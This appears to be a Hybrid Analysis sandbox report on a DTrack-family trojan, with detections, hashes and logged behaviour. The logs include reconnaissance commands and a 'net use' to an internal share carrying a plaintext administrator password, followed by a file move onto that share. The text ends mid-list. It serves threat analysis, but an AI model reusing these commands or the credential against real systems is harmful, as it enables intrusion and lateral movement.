24:I[7638,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/136wug8odqdqr.js"],"SampleDetailWrapper"] 30:I[27201,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T483,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Trojan.Generic Sample 791c59a0d645… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 791c59a0d645…. Malware family: Trojan.Generic. Threat score 100/100. 21/27 AV engines flagged this file. 7 malicious and 15 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/791c59a0d6456ac1d9976fe82dc6b13f3e5980c6cfa2fd9d58a3cc849755ea9f","keywords":["Malicious","Trojan.Generic","malware analysis","sandbox report","threat intelligence","791c59a0d6456ac1d9976fe82dc6b13f3e5980c6cfa2fd9d58a3cc849755ea9f"],"about":{"@type":"SoftwareApplication","name":"test.exe","applicationCategory":["peexe","executable"],"identifier":"791c59a0d6456ac1d9976fe82dc6b13f3e5980c6cfa2fd9d58a3cc849755ea9f","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Trojan.Generic","antivirusDetections":{"malicious":21,"total":27},"behavioralIndicators":{"malicious":7,"suspicious":15},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:T50f,"" touched "Computer" (Path: "HKCU\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER") "" touched "Memory Mapped Cache Mgr" (Path: "HKCU\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}") "" touched "Security Manager" (Path: "HKCU\CLSID\{7B8A2D94-0AC9-11D1-896C-00C04FB6BFC4}") "ipconfig.exe" touched "Quarantine Agent Management class" (Path: "HKCU\CLSID\{EB082BA1-DF8A-46BE-82F3-35BF9E9BE52F}") "ipconfig.exe" touched "PSFactoryBuffer" (Path: "HKCU\CLSID\{22BDC741-73F0-41DB-9463-E343DEF3E376}") "tasklist.exe" touched "WBEM Locator" (Path: "HKCU\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}") "tasklist.exe" touched "Windows Management and Instrumentation" (Path: "HKCU\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}") "tasklist.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemServices" (Path: "HKCU\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\TREATAS") "tasklist.exe" touched "Microsoft WBEM (non)Standard Marshaling for IEnumWbemClassObject" (Path: "HKCU\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\TREATAS") "tasklist.exe" touched "WbemStatusCode" (Path: "HKCU\CLSID\{EB87E1BD-3233-11D2-AEC9-00C04FB68820}\TREATAS") "netsh.exe" touched "Nap Config Read class" (Path: "HKCU\CLSID\{EA4A0A43-1C8F-4C7B-A4B1-28ECBD96BA8C}")26:T67b,Spawned process "cmd.exe" with commandline "/c ipconfig /all > "%TEMP%\\temp\res.ip"" (UID: 00566295-00002628) Spawned process "cmd.exe" with commandline "/c tasklist > "%TEMP%\\temp\task.list"" (UID: 00566308-00004476) Spawned process "cmd.exe" with commandline "/c netstat -naop tcp > "%TEMP%\\temp\netstat.res"" (UID: 00566314-00004188) Spawned process "ipconfig.exe" with commandline "ipconfig /all" (UID: 00566314-00002484) Spawned process "cmd.exe" with commandline "/c netsh interface ip show config > "%TEMP%\\temp\netsh.res"" (UID: 00566320-00003944) Spawned process "tasklist.exe" (UID: 00566322-00004520) Spawned process "NETSTAT.EXE" with commandline "netstat -naop tcp" (UID: 00566333-00004196) Spawned process "netsh.exe" with commandline "netsh interface ip show config" (UID: 00566335-00004208) Spawned process "cmd.exe" with commandline "/c net use \\10.38.1.35\C$ su.controller5kk /user:KKNPP\administ ..." (UID: 00575954-00002060) Spawned process "net.exe" with commandline "net use \\10.38.1.35\C$ su.controller5kk /user:KKNPP\administra ..." (UID: 00575958-00003476) Spawned process "cmd.exe" with commandline "/c move /y %TEMP%\\~948E30C5MT.tmp \\10.38.1.35\C$\Windows\Temp\ ..." (UID: 00576020-00005432) Spawned process "cmd.exe" with commandline "/c net use \\10.38.1.35\C$ /delete" (UID: 00576213-00005364) Spawned process "cmd.exe" with commandline "/c ping -n 3 127.0.0.1 >NUL & echo EEEE > """ (UID: 00576215-00005452) Spawned process "net.exe" with commandline "net use \\10.38.1.35\C$ /delete" (UID: 00576218-00005376) Spawned process "PING.EXE" with commandline "ping -n 3 127.0.0.1" (UID: 00576229-00005528)27:T67b,Spawned process "cmd.exe" with commandline "/c ipconfig /all > "%TEMP%\\temp\res.ip"" (UID: 00566295-00002628) Spawned process "cmd.exe" with commandline "/c tasklist > "%TEMP%\\temp\task.list"" (UID: 00566308-00004476) Spawned process "cmd.exe" with commandline "/c netstat -naop tcp > "%TEMP%\\temp\netstat.res"" (UID: 00566314-00004188) Spawned process "ipconfig.exe" with commandline "ipconfig /all" (UID: 00566314-00002484) Spawned process "cmd.exe" with commandline "/c netsh interface ip show config > "%TEMP%\\temp\netsh.res"" (UID: 00566320-00003944) Spawned process "tasklist.exe" (UID: 00566322-00004520) Spawned process "NETSTAT.EXE" with commandline "netstat -naop tcp" (UID: 00566333-00004196) Spawned process "netsh.exe" with commandline "netsh interface ip show config" (UID: 00566335-00004208) Spawned process "cmd.exe" with commandline "/c net use \\10.38.1.35\C$ su.controller5kk /user:KKNPP\administ ..." (UID: 00575954-00002060) Spawned process "net.exe" with commandline "net use \\10.38.1.35\C$ su.controller5kk /user:KKNPP\administra ..." (UID: 00575958-00003476) Spawned process "cmd.exe" with commandline "/c move /y %TEMP%\\~948E30C5MT.tmp \\10.38.1.35\C$\Windows\Temp\ ..." (UID: 00576020-00005432) Spawned process "cmd.exe" with commandline "/c net use \\10.38.1.35\C$ /delete" (UID: 00576213-00005364) Spawned process "cmd.exe" with commandline "/c ping -n 3 127.0.0.1 >NUL & echo EEEE > """ (UID: 00576215-00005452) Spawned process "net.exe" with commandline "net use \\10.38.1.35\C$ /delete" (UID: 00576218-00005376) Spawned process "PING.EXE" with commandline "ping -n 3 127.0.0.1" (UID: 00576229-00005528)28:T4af,"" touched file "C:\Windows\Globalization\Sorting\SortDefault.nls" "" touched file "C:\Users\5k30OTA\AppData\Local\Microsoft\Windows\Caches" "" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Caches\cversions.1.db" "" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000001f.db" "" touched file "C:\Windows\System32\cmd.exe" "" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches" "" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches\cversions.1.db" "" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000001f.db" "cmd.exe" touched file "C:\Windows\Globalization\Sorting\SortDefault.nls" "cmd.exe" touched file "C:\Windows\AppPatch\sysmain.sdb" "cmd.exe" touched file "C:\Windows\System32\tasklist.exe" "ipconfig.exe" touched file "C:\Windows\System32\en-US\ipconfig.exe.mui" "ipconfig.exe" touched file "C:\Windows\Globalization\Sorting\SortDefault.nls" "ipconfig.exe" touched file "C:\Windows\System32\rsaenh.dll"29:T668,"1.0.0.1" Heuristic match: "IPv4 Address. . . . . . . . . . . : 192.168.240.32(Preferred)" Heuristic match: "Subnet Mask . . . . . . . . . . . : 255.255.255.0" Heuristic match: "Default Gateway . . . . . . . . . : 192.168.240.1" Heuristic match: "DNS Servers . . . . . . . . . . . : 8.8.8.8" Heuristic match: "IP Address: 192.168.240.32" Heuristic match: "Subnet Prefix: 192.168.240.0/24 (mask 255.255.255.0)" Heuristic match: "Default Gateway: 192.168.240.1 Gateway Metric: 1" Heuristic match: "Statically Configured DNS Servers: 8.8.8.8" Heuristic match: "IP Address: 127.0.0.1" Heuristic match: "Pinging 127.0.0.1" Heuristic match: "Reply from 127.0.0.1:" Heuristic match: "Ping statistics for 127.0.0.1: Packets: Sent = 4, Received = 4, Lost = 0 (0% loss)," Heuristic match: "/c net use \\10.38.1.35\C$ su.controller5kk /user:KKNPP\administrator" Heuristic match: "net use \\10.38.1.35\C$ su.controller5kk /user:KKNPP\administrator" Heuristic match: "/c move /y %TEMP%\\~948E30C5MT.tmp \\10.38.1.35\C$\Windows\Temp\MpLogs\" Heuristic match: "/c net use \\10.38.1.35\C$ /delete" Heuristic match: "/c ping -n 3 127.0.0.1 >NUL & echo EEEE > """ Heuristic match: "net use \\10.38.1.35\C$ /delete" Heuristic match: "ping -n 3 127.0.0.1" Heuristic match: "TCP 127.0.0.1:2869 127.0.0.1:51903 TIME_WAIT 0" Heuristic match: "TCP 192.168.240.32:51915 104.67.6.247:80 TIME_WAIT 0" Heuristic match: "Default Gateway: 192.168.240.1"2a:T446,"" (Access type: "CREATE"; Path: "HKLM\SYSTEM\CURRENTCONTROLSET\SERVICES\TCPIP\PARAMETERS") "ipconfig.exe" (Access type: "CREATE"; Path: "HKLM\SYSTEM\CURRENTCONTROLSET\SERVICES\NAPAGENT\SHAS") "ipconfig.exe" (Access type: "CREATE"; Path: "HKLM\SYSTEM\CURRENTCONTROLSET\SERVICES\NAPAGENT\QECS") "ipconfig.exe" (Access type: "CREATE"; Path: "HKLM\SYSTEM\CURRENTCONTROLSET\SERVICES\TCPIP\PARAMETERS") "netsh.exe" (Access type: "CREATE"; Path: "HKLM\SYSTEM\CURRENTCONTROLSET\SERVICES\NAPAGENT\LOCALCONFIG") "netsh.exe" (Access type: "CREATE"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\NAPAGENT\LOCALCONFIG\ENROLL\HCSGROUPS") "netsh.exe" (Access type: "CREATE"; Path: "HKLM\SYSTEM\CURRENTCONTROLSET\SERVICES\NAPAGENT\SHAS") "netsh.exe" (Access type: "CREATE"; Path: "HKLM\SYSTEM\CURRENTCONTROLSET\SERVICES\NAPAGENT\QECS") "netsh.exe" (Access type: "CREATE"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\NAPAGENT\LOCALCONFIG\UI") "netsh.exe" (Access type: "CREATE"; Path: "HKLM\SYSTEM\CURRENTCONTROLSET\SERVICES\TCPIP\PARAMETERS\INTERFACES\{90A066FE-591C-47F3-850D-9644B684FBA5}")2b:T483,LoadResource@KERNEL32.dll at 31026-2455-00401520 LockResource@KERNEL32.dll at 31026-2456-00414D53 LoadResource@KERNEL32.dll at 31026-2479-00414B02 LoadResource@KERNEL32.dll at 31026-2580-00407711 FindResourceW@KERNEL32.dll at 31026-2581-00406B78 LoadResource@KERNEL32.dll at 31026-2584-0040681A LoadResource@KERNEL32.dll at 31026-3202-0040F6FB LoadResource@KERNEL32.dll at 31026-3374-00412D62 FreeResource@KERNEL32.dll at 31026-3427-0042C6EC LoadResource@KERNEL32.dll at 31026-3448-00414863 LoadResource@KERNEL32.dll at 31026-3450-00414CFD FindResourceW@KERNEL32.DLL at 00565482-00004572-40204-123-00401D5F LoadResource@KERNEL32.DLL at 00565482-00004572-40204-124-00401CFD LoadResource@KERNEL32.DLL at 00565482-00004572-40204-305-00401520 LockResource@KERNEL32.DLL at 00565482-00004572-40204-306-00414D53 LoadResource@KERNEL32.DLL at 00565482-00004572-40204-329-00414B02 LoadResource@KERNEL32.DLL at 00565482-00004572-40204-430-00407711 FindResourceW@KERNEL32.DLL at 00565482-00004572-40204-431-00406B78 LoadResource@KERNEL32.DLL at 00565482-00004572-40204-434-0040681A LoadResource@KERNEL32.DLL at 00565482-00004572-40204-1031-0040F6FB2c:T66d,"cmd.exe" wrote 32 bytes to a remote process "C:\Windows\System32\ipconfig.exe" (Handle: 84) "cmd.exe" wrote 52 bytes to a remote process "C:\Windows\System32\ipconfig.exe" (Handle: 84) "cmd.exe" wrote 4 bytes to a remote process "C:\Windows\System32\ipconfig.exe" (Handle: 84) "cmd.exe" wrote 32 bytes to a remote process "C:\Windows\System32\tasklist.exe" (Handle: 84) "cmd.exe" wrote 52 bytes to a remote process "C:\Windows\System32\tasklist.exe" (Handle: 84) "cmd.exe" wrote 4 bytes to a remote process "C:\Windows\System32\tasklist.exe" (Handle: 84) "cmd.exe" wrote 32 bytes to a remote process "C:\Windows\System32\NETSTAT.EXE" (Handle: 84) "cmd.exe" wrote 52 bytes to a remote process "C:\Windows\System32\NETSTAT.EXE" (Handle: 84) "cmd.exe" wrote 4 bytes to a remote process "C:\Windows\System32\NETSTAT.EXE" (Handle: 84) "cmd.exe" wrote 32 bytes to a remote process "C:\Windows\System32\netsh.exe" (Handle: 84) "cmd.exe" wrote 52 bytes to a remote process "C:\Windows\System32\netsh.exe" (Handle: 84) "cmd.exe" wrote 4 bytes to a remote process "C:\Windows\System32\netsh.exe" (Handle: 84) "cmd.exe" wrote 32 bytes to a remote process "C:\Windows\System32\net.exe" (Handle: 80) "cmd.exe" wrote 52 bytes to a remote process "C:\Windows\System32\net.exe" (Handle: 80) "cmd.exe" wrote 4 bytes to a remote process "C:\Windows\System32\net.exe" (Handle: 80) "cmd.exe" wrote 32 bytes to a remote process "C:\Windows\System32\PING.EXE" (Handle: 84) "cmd.exe" wrote 52 bytes to a remote process "C:\Windows\System32\PING.EXE" (Handle: 84) "cmd.exe" wrote 4 bytes to a remote process "C:\Windows\System32\PING.EXE" (Handle: 84)2d:T9f5,"" wrote bytes "fae6c977e1a6ce772e71ce77ee29ce7785e2c9776da0ce7726e4c977d16dce77003dcc77804bcc7700000000ad379c778b2d9c77b6419c7700000000" to virtual address "0x75021000" (part of module "WSHTCPIP.DLL") "" wrote bytes "4812a275" to virtual address "0x75A383C0" (part of module "SSPICLI.DLL") "" wrote bytes "f811a275" to virtual address "0x75A383E0" (part of module "SSPICLI.DLL") "" wrote bytes "f811a275" to virtual address "0x75A383C4" (part of module "SSPICLI.DLL") "" wrote bytes "4812a275" to virtual address "0x75A38364" (part of module "SSPICLI.DLL") "" wrote bytes "f8110000" to virtual address "0x75A21408" (part of module "SSPICLI.DLL") "" wrote bytes "b84013946fffe0" to virtual address "0x75A21248" (part of module "SSPICLI.DLL") "" wrote bytes "4812a275" to virtual address "0x75A38348" (part of module "SSPICLI.DLL") "" wrote bytes "f811a275" to virtual address "0x75A38368" (part of module "SSPICLI.DLL") "" wrote bytes "6012946f" to virtual address "0x7768E324" (part of module "WININET.DLL") "" wrote bytes "f8110000" to virtual address "0x75A212CC" (part of module "SSPICLI.DLL") "" wrote bytes "f811a275" to virtual address "0x75A3834C" (part of module "SSPICLI.DLL") "" wrote bytes "b83012946fffe0" to virtual address "0x779C1368" (part of module "WS2_32.DLL") "" wrote bytes "c04ecc772054cd77e065cd77b538ce770000000000d0427600000000c5ea42760000000088ea427600000000e968bd758228ce77ee29ce7700000000d269bd75000000007dbb42760000000009bebd7500000000ba18427600000000" to virtual address "0x76381000" (part of module "NSI.DLL") "" wrote bytes "b8c015946fffe0" to virtual address "0x75A211F8" (part of module "SSPICLI.DLL") "" wrote bytes "68130000" to virtual address "0x779C1680" (part of module "WS2_32.DLL") "" wrote bytes "48120000" to virtual address "0x75A2139C" (part of module "SSPICLI.DLL") "" wrote bytes "48120000" to virtual address "0x75A212DC" (part of module "SSPICLI.DLL") "" wrote bytes "4812a275" to virtual address "0x75A383DC" (part of module "SSPICLI.DLL") "ipconfig.exe" wrote bytes "c04ecc772054cd77e065cd77b538ce770000000000d0427600000000c5ea42760000000088ea427600000000e968bd758228ce77ee29ce7700000000d269bd75000000007dbb42760000000009bebd7500000000ba18427600000000" to virtual address "0x76381000" (part of module "NSI.DLL")2e:T6b9,Spawned process "" (UID: 00565482-00004572) Spawned process "cmd.exe" with commandline "/c ipconfig /all > "%TEMP%\\temp\res.ip"" (UID: 00566295-00002628) Spawned process "cmd.exe" with commandline "/c tasklist > "%TEMP%\\temp\task.list"" (UID: 00566308-00004476) Spawned process "cmd.exe" with commandline "/c netstat -naop tcp > "%TEMP%\\temp\netstat.res"" (UID: 00566314-00004188) Spawned process "ipconfig.exe" with commandline "ipconfig /all" (UID: 00566314-00002484) Spawned process "cmd.exe" with commandline "/c netsh interface ip show config > "%TEMP%\\temp\netsh.res"" (UID: 00566320-00003944) Spawned process "tasklist.exe" (UID: 00566322-00004520) Spawned process "NETSTAT.EXE" with commandline "netstat -naop tcp" (UID: 00566333-00004196) Spawned process "netsh.exe" with commandline "netsh interface ip show config" (UID: 00566335-00004208) Spawned process "cmd.exe" with commandline "/c net use \\10.38.1.35\C$ su.controller5kk /user:KKNPP\administrator" (UID: 00575954-00002060) Spawned process "net.exe" with commandline "net use \\10.38.1.35\C$ su.controller5kk /user:KKNPP\administrator" (UID: 00575958-00003476) Spawned process "cmd.exe" with commandline "/c move /y %TEMP%\\~948E30C5MT.tmp \\10.38.1.35\C$\Windows\Temp\MpLogs\" (UID: 00576020-00005432) Spawned process "cmd.exe" with commandline "/c net use \\10.38.1.35\C$ /delete" (UID: 00576213-00005364) Spawned process "cmd.exe" with commandline "/c ping -n 3 127.0.0.1 >NUL & echo EEEE > """ (UID: 00576215-00005452) Spawned process "net.exe" with commandline "net use \\10.38.1.35\C$ /delete" (UID: 00576218-00005376) Spawned process "PING.EXE" with commandline "ping -n 3 127.0.0.1" (UID: 00576229-00005528)2f:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARmZmAAAAAAAAAAAAAAAEZu7u7uZgAAAAAAAAAAAEZu7u7u7u5kAAAAAAAAAAZmZm7u7u5m5mAAAAAAAABmZmZmZmZmZmZmAAAAAAAGZmZmZmZmZmZmZmAAAAAAZmZmZmZmZmZmZmZmAAAAAGZmZmZmZmZmZkRGZgAAAAZmZmZmZmZmZGZkRGZgAABmZmZmZmZmZmRmZERmZgAAZmZmZmZmZmZmZmRkRmYAAGZmZm7u7mZmZmZmREZmAABmZmZu7u5mZmZmZkRGZgAAZmZm7u7mZmZmZmZERGYAAGZmbu7u7uZuZmZmZEZmAABmZu7u7u7u7uZmZmRGZgAAZu7u7u7u7u7uZmZmRmYAAGbu7u7u7u7u7mZmZmZmAAAG6O7u7u7u7u5mZmZmYAAABuiI7u7u7u7mZmZmZmAAAABuiIju7u7u7ndmZmYAAAAAbuiIju7u7u53dmZmAAAAAA7oiIju7uiHd3dmYAAAAAAA7uiIiIiIh3d+ZgAAAAAAAA7uiIiIiHiIZmAAAAAAAAAADu7oiIiI5mAAAAAAAAAAAADmbu7mZmYAAAAAAAAAAAAAAAAAAAAAAAAAAAD///////w////AA///gAD//wAAf/4AAH//AAB//gAAf/wAAD/4AAAf8AAAD/AAAA/gAAAHwAAAA8AAAAPAAAADwAAAA8AAAAPAAAADwAAAA8AAAAPAAAAD4AAAB+AAAAfwAAAP8AAAD/gAAB/8AAA//gAAf/+AAf//wAP//////w==1b:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$23"}}],["$","$L24",null,{"initialData":{"schema_version":"1.0.15","sha256":"791c59a0d6456ac1d9976fe82dc6b13f3e5980c6cfa2fd9d58a3cc849755ea9f","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1791356594593,"unified_at":"2026-10-07T07:03:14.593Z","metadata":{"hashes":{"sha256":"791c59a0d6456ac1d9976fe82dc6b13f3e5980c6cfa2fd9d58a3cc849755ea9f","sha1":"b4085f85eb7e302fdf06711d61762edb8fabf2ae","md5":"b7c3039203278bc289fd3756571bd468","sha512":"a5069e0d3bf25026e57346e55055377ce9c50d96437b477ff403c89c26c6e7cebe1a5f32f31ccaba47d41e0b264ba721ad8ce80870633804b11b6f02ca070a98","ssdeep":"24576:TzlNDfkSL6TPyuUT/zcNvSYdc2LxtTBwfgfJjYT093oj29Pi:PlGSL6zyt/z4aYfTKfgxe0Fojx","ssdeep_chunks":["24576:TzlNDfk","24576:zlNDfkS","24576:lNDfkSL","24576:NDfkSL6","24576:DfkSL6T","24576:fkSL6TP","24576:kSL6TPy","24576:SL6TPyu","24576:L6TPyuU","24576:6TPyuUT","24576:TPyuUT/","24576:PyuUT/z","24576:yuUT/zc","24576:uUT/zcN","24576:UT/zcNv","24576:T/zcNvS","24576:/zcNvSY","24576:zcNvSYd","24576:cNvSYdc","24576:NvSYdc2","24576:vSYdc2L","24576:SYdc2Lx","24576:Ydc2Lxt","24576:dc2LxtT","24576:c2LxtTB","24576:2LxtTBw","24576:LxtTBwf","24576:xtTBwfg","24576:tTBwfgf","24576:TBwfgfJ","24576:BwfgfJj","24576:wfgfJjY","24576:fgfJjYT","24576:gfJjYT0","24576:fJjYT09","24576:JjYT093","24576:jYT093o","24576:YT093oj","24576:T093oj2","24576:093oj29","24576:93oj29P","24576:3oj29Pi","49152:TzlNDfk","49152:zlNDfkS","49152:lNDfkSL","49152:NDfkSL6","49152:DfkSL6T","49152:fkSL6TP","49152:kSL6TPy","49152:SL6TPyu","49152:L6TPyuU","49152:6TPyuUT","49152:TPyuUT/","49152:PyuUT/z","49152:yuUT/zc","49152:uUT/zcN","49152:UT/zcNv","49152:T/zcNvS","49152:/zcNvSY","49152:zcNvSYd","49152:cNvSYdc","49152:NvSYdc2","49152:vSYdc2L","49152:SYdc2Lx","49152:Ydc2Lxt","49152:dc2LxtT","49152:c2LxtTB","49152:2LxtTBw","49152:LxtTBwf","49152:xtTBwfg","49152:tTBwfgf","49152:TBwfgfJ","49152:BwfgfJj","49152:wfgfJjY","49152:fgfJjYT","49152:gfJjYT0","49152:fJjYT09","49152:JjYT093","49152:jYT093o","49152:YT093oj","49152:T093oj2","49152:093oj29","49152:93oj29P","49152:3oj29Pi","24576:PlGSL6z","24576:lGSL6zy","24576:GSL6zyt","24576:SL6zyt/","24576:L6zyt/z","24576:6zyt/z4","24576:zyt/z4a","24576:yt/z4aY","24576:t/z4aYf","24576:/z4aYfT","24576:z4aYfTK","24576:4aYfTKf","24576:aYfTKfg","24576:YfTKfgx","24576:fTKfgxe","24576:TKfgxe0","24576:Kfgxe0F","24576:fgxe0Fo","24576:gxe0Foj","24576:xe0Fojx"],"imphash":"776885451b981dbf7dbe60570f75dcc9"},"file_info":{"file_name":"test.exe","file_type":["peexe","executable"],"file_type_id":"exe","file_size":1433424,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1572284802000,"last_seen":1578113810000,"last_multi_scan":1578113810000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["pythoninmemorystager"]},"stats":{"av":{"malicious_count":21,"suspicious_count":0,"total_engines":27},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":15},"sandbox_signatures":{"informative_count":27,"suspicious_count":15,"malicious_count":7,"total":49},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"aegislab":{"name":"AegisLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"ahnlab":{"name":"Ahnlab","success":true,"verdict":"malicious","threat_name":"Trojan/Win32.Agent","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"malicious","threat_name":"Trojan[Backdoor]/Win32.DTrack","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"BDS/DTrack.dwjxm","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"BitDefender","success":true,"verdict":"malicious","threat_name":"Trojan.GenericKD.32496806","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bytehero":{"name":"ByteHero","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Heur.Gen","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"malicious","threat_name":"Win.Dropper.Dtrack-7373178-0","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"malicious","threat_name":"win/malicious_confidence_100% (W)","status":"malicious","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"cyren":{"name":"Cyren","success":true,"verdict":"malicious","threat_name":"W32/Dtrack.MWRI-5215","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"Trojan.GenericKD.32496806 (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"Win32/Spy.Keydoor.AY trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"ikarus":{"name":"Ikarus","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.VinoSiren","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"malicious","threat_name":"Riskware ( 0040eff71 )","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"kaspersky":{"name":"Kaspersky","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Agentb.jtvt","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"mcafee":{"name":"McAfee","success":true,"verdict":"malicious","threat_name":"Trojan-DTrack!B7C303920327","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.DTrack.gcptbe","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"quickheal":{"name":"Quick Heal","success":true,"verdict":"malicious","threat_name":"Trojan.GenericRI.S8303692","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"malicious","threat_name":"Troj/DTrack-A","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"symantec":{"name":"Symantec","success":true,"verdict":"malicious","threat_name":"Trojan.Gen.2","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"totaldefense":{"name":"Total Defense","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicro":{"name":"TrendMicro","success":true,"verdict":"malicious","threat_name":"Backdoo.06FEFC1E","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicrohousecall":{"name":"TrendMicro House Call","success":true,"verdict":"malicious","threat_name":"Backdoo.06FEFC1E","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT 